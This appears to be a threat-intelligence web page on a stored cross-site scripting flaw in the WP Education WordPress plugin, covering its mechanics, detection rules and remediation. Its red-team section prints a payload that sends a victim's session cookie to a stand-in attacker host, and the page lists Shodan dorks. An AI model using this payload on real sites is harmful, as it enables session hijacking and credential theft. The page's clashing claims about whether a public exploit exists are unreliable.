☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hasthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-49630

CVE-2024-49630 Cross-Site Scripting in Hasthemes
📅 PUBLISHED: 2024-10-20 08:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.6× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-49630 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Education WordPress plugin developed by Hasthemes (DevItems). The flaw exists in versions up to and including 1.2.8, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into posts, pages, or widget areas. When an administrator or other user views the compromised content, the malicious script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is classified as a WordPress ecosystem issue—the plugin’s failure to sanitize output is the root cause, not the underlying web server (Apache/Nginx). No public exploit code or proof-of-concept is currently available, but the risk is elevated due to the plugin’s active install base and the lack of a confirmed patch.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This is a WordPress plugin distributed via the official WordPress Plugin Directory. The supply chain risk is moderate: if the plugin is compromised at the source, all sites running version ≤1.2.8 are affected. No known malicious commits or backdoors have been reported, but the absence of a patch means site owners must manually disable or remove the plugin until an update is released.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: Low (contributor-level WordPress user)
  • User Interaction: Required (victim must view the infected page)
  • Scope: Changed (impact may extend beyond the vulnerable component)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: Low

Threat Level: Medium. Exploitation requires an authenticated account, but the stored XSS can persist across sessions and affect all users, including administrators.

Deep Dive & Mechanics

The vulnerability resides in the plugin’s output handling of user-supplied data, likely in shortcodes, custom post types, or widget areas. The plugin fails to escape or sanitize input before rendering it in the browser. An attacker can inject a payload such as:

<script>alert('XSS')</script>

or a more sophisticated payload that steals cookies or performs actions on behalf of the victim.

Attack Flow:

  1. Attacker logs in with a contributor-level account.
  2. Attacker creates or edits a post/page and inserts the malicious payload into a field that is not sanitized (e.g., a custom meta box, shortcode attribute, or widget title).
  3. The payload is stored in the WordPress database.
  4. When an administrator or other user views the compromised page, the script executes in their browser.

Root Cause: The plugin uses echo or the_content filter without applying esc_html(), wp_kses(), or similar sanitization functions.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. A typical vulnerable code snippet in WordPress plugins looks like:

// Vulnerable: direct output without sanitization
echo $user_input;

The patched version should use:

// Patched: escape output
echo esc_html( $user_input );

or for rich content:

echo wp_kses_post( $user_input );

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A WordPress site running WP Education ≤1.2.8.
  • A contributor-level account (or higher).

Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or page.
  3. In the content area, insert the following payload (example using a shortcode if available):
[wp_education_custom_field] <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> [/wp_education_custom_field]
  1. Publish the post.
  2. Send the link to an administrator (social engineering).
  3. When the admin views the post, the script executes and exfiltrates their session cookie.

Alternative Payload (for widget areas):

<a href="#" onmouseover="alert(1)">Hover me</a>

Blue Team (Detection & Hardening)

Detection:

  • Monitor WordPress logs for unusual post content containing <script> tags.
  • Use a Web Application Firewall (WAF) rule to block common XSS patterns in POST data.
  • Enable Content Security Policy (CSP) headers to restrict script execution.

Hardening:

  • Immediately disable the WP Education plugin if no patch is available.
  • Restrict contributor-level users from using unfiltered HTML (WordPress default does this, but verify).
  • Apply the principle of least privilege: only grant necessary roles.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Modified plugin files in /wp-content/plugins/wp-education/ (check for unexpected changes).
    • Suspicious entries in the wp_posts table with post_content containing <script> tags.
  • Network Indicators:

    • Outbound HTTP requests to unknown domains from the WordPress server (cookie exfiltration).
    • Unusual Referer headers pointing to pages with the vulnerable plugin.
  • Log Indicators:

    • WordPress debug log entries showing PHP warnings about unescaped output.
    • Web server access logs with POST requests to wp-admin/post.php containing encoded JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_49630_WP_Education_XSS {
    meta:
        description = "Detects stored XSS payloads in WP Education plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-49630"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["'][^"']*["']/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-49630 Stored XSS in WP Education Plugin
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via WP Education plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        sc-status: 200
    keywords:
        - '<script'
        - 'onerror'
        - 'onload'
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-49630 WP Education Stored XSS Payload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/(<script|on\w+\s*=|javascript\s*:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin – Deactivate and delete WP Education from all WordPress installations until a patched version is released.
  2. Scan for compromise – Check all posts, pages, and widgets for injected scripts. Use the YARA rule above.
  3. Rotate credentials – If any administrator session was potentially hijacked, force password resets and invalidate all session tokens.

Long-Term Fix:

  • Monitor the plugin’s official page for a security update (version >1.2.8).
  • Once patched, update immediately and re-enable the plugin.
  • Implement a Web Application Firewall (WAF) with XSS rules as a defense-in-depth measure.

Workaround (if plugin must remain active):

  • Use a WordPress security plugin (e.g., Wordfence) to block XSS payloads.
  • Restrict all users except administrators from using unfiltered HTML via wp_filter_post_kses().

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"WP Education"
http.html:"wp-content/plugins/wp-education"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-49630/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.